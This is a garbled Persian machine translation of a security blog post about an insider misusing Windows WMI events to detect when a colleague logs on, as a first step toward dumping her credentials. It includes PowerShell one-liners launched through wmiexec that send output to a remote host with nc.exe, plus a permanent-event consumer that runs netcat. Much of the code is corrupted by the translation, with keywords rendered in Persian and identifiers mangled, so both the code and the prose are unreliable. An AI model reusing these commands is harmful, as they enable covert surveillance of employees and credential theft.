درس های سخت از رویداد WMI و نظارت
دفعه گذشته ، ما بررسی کردیم که چگونه خودی فرضی می تواند از رابط مدیریت ویندوز (WMI) و سیستم وقایع آن برای ردیابی سایر کارمندان استفاده کند. نه ، من اولین کسی نیستم که به این موضوع توجه کردم. بسیاری از پست های اطلاع رسانی در مورد این موضوع در وب وجود دارد. در اینجا پستی هستم که من تجربه محققان امنیتی را با WMI تجربه کردم.
آزمایشات خودم استفاده از Register-WMIEvent را تصور می کند ، که یکی از عطرهای حوادث WMI است. این رویداد WMI موقت را ایجاد می کند. به زبان انگلیسی ساده: این رویداد فقط تا زمان جلسه پوسته طول می کشد. جلسه PowerShell را ببندید و این رویداد از بین می رود.
نظارت آسان آسان است!
در سناریوی من ، من می خواستم از راه دور (با استفاده از wmiexec) یک بارگذاری را راه اندازی کنم که هنگام ورود کاربر خاصی ، Cruella ، وارد سیستم شود. . و پس از آن می توانم اعتبار نامه های او را ریخته و شکستم. به هر حال ، این می تواند مخفی ترین راه برای بیرون کشیدن این کار باشد – از راه دور و بدون فیلتر. در ابتدا فکر می کنم تنها مشکل موقت واقعه WMI است.
بنابراین من نیاز داشتم تا ثبت نام طولانی-ثبت نام WMIEvent (زیر) را با خط فرمان PowerShell با خط فرمان PowerShell با مخفی کنید. گزینه ، اطمینان حاصل شود که PowerShell پس از اجرای Register-Event ، در اطراف آن باقی می ماند و از این طریق رویداد را حفظ می کند.
Register-WMIEvent -Query "انتخاب TargetInstance از __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' و TargetIntext" و 3 اقدام names $ names = gwmi Win32_Process |٪ {$ _. GetOwner (). کاربر} پیشگویی ($ کاربر با نام $) {if ($ user -eq "cruella") ch echo "cruella وارد شده است" | C: Users lex Documents nc.exe 172.31.19.75 80} # $ EventArgs.NewEvent.TargetInstance.Name}
از آنجا که این کار را شروع کردم ، آه بلند ، متوجه ضرورت "فرار" از شخصیت های خاص شدم مانند $ ، "، و | و آنها را مستقیماً به PowerShell منتقل کنید. سردردهای بیشتر: من در نهایت مجبور شدم از استفاده از لوله ها خودداری کنم زیرا به نظر می رسد باعث ایجاد خطاهای تجزیه می شود. نپرس من سرانجام با این تک لاینر طولانی و طولانی روبرو شدم:
$ command = "powerhell -noexit -C Register-WMIEvent -Query" "انتخاب TargetInstance را از __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' and TargetTTT = "" -Action `$ names = gwmi Win32_Process؛` $ user = @ ()؛ foreach (`$ n در` $ names) {`$ کاربران + =` $ n.GetOwner () کاربر}؛ foreach (` $ u در `$ کاربران) {if (` $ u -eq "" cruella "") {C: کاربران lex اسناد nc.exe 172.31.18.92 80}}} wmiexec.exe corp.acme/[email protected] "$ فرمان"
به نظر می رسید امیدوارکننده بود و به نظر می رسید که درست با نگاه کردن به گزارش واقعه در سیستم هدف ، درست اجرا شود. با این حال ، با بررسی دقیقتر ، این کار نکرد! من مطمئناً در نهایت – با داشتن کافی اسپرسو – می توانم چیزی را با هم wangle. گزینه دیگر ، اگرچه کمتر مخفی و کم پرونده نیست ، استفاده از smbclient از Impacket برای انتقال اسکریپت واقعی است ، و سپس آن را مستقیماً روی هدف اجرا کنید.

متأسفانه ، فرضیات من در این مرحله شروع به شکستن می کنند – این که یک خودی تا حدودی زرنگ اما نه خیلی پیشرفته می تواند به راحتی از سیستم وقایع موقت WMIs برای نظارت عطش استفاده کند.
رویدادهای دائمی: راه درست برای Surveil [19659004] روشی که این کار واقعاً باید انجام شود ، اما به یک منحنی یادگیری بیشتری نیاز دارد ، استفاده از رویدادهای دائمی WMI است. این موضوعی است که در نمایش جالب و جذاب کلاه سیاه مت مت Graeber پوشانده شده است.
در این حالت ، خودی یک رویداد دائمی را روی سیستم هدف ایجاد می کند و بدین ترتیب او را از مجبور به قطع شدن در یک جلسه پوسته می کند. شما می توانید اطلاعات بیشتری در مورد چگونگی انجام این کار در اینجا بخوانید ، اما شبیه به مواردی است که من با وقایع موقتی توصیف می کردم.
شما ابتدا یک فیلتر رویداد ایجاد می کنید ، که در اصل پرسشی است که من به آن وارد کردم- رویداد در بلوک اسکریپت Action. و سپس شما باید یک مصرف کننده رویداد را تنظیم کنید تا فیلتر رویداد را شروع کند – در مورد ما Cruella به سیستم وارد می شود – و سپس یک فرمان را می گویند netcat. چیزی شبیه به این:
# ایجاد یک مصرف کننده رویداد جدید $ instConsumer = ([[wmiclass] "\. root اشتراک: CommandLineEventConsumer"). CreatInstance () $ shembullConsumer.Name = 'Surveiller' $ shembullConsumer.Ex اجرablePath = " C: کاربران lex اسناد nc.exe " $ result = $ shembullConsumer.Put () $ newConsumer = $ result.Path
سرانجام ، شما باید فیلتر رویداد را با مصرف کننده رویداد پیوند دهید.
موافقم: این شروع می شود به دنبال پیشی گرفتن یک کارمند متوسط خودی شد. برای لگد زدن ، من در انجمن ها بررسی کردم ، و تعداد زیادی از افراد موهای جمعی خود را بیرون می کشند و سعی می کنند تا برای کار رویدادهای دائمی بگیرند. با این حال ، این تکنیک خارج از قابلیت های اسنودن یا سایر سیستم های هوشمند سیستم مدیریت نیست که تصمیم می گیرد تهدید شود.
بگذارید آن را روز بنامیم. سعی می کنم کمی با رویدادهای دائم آزمایش کنم و دفعه بعد گزارش کنم. موضوع مهم تر این است که چگونه در مقابل این نوع تهدیدات کاهش یابد. پاسخ بخشی از استراتژی بزرگتر این است که اجازه نمی دهد ابزارهای قدرتمند در اختیار کاربران "متوسط" قرار بگیرند. دفعه دیگر.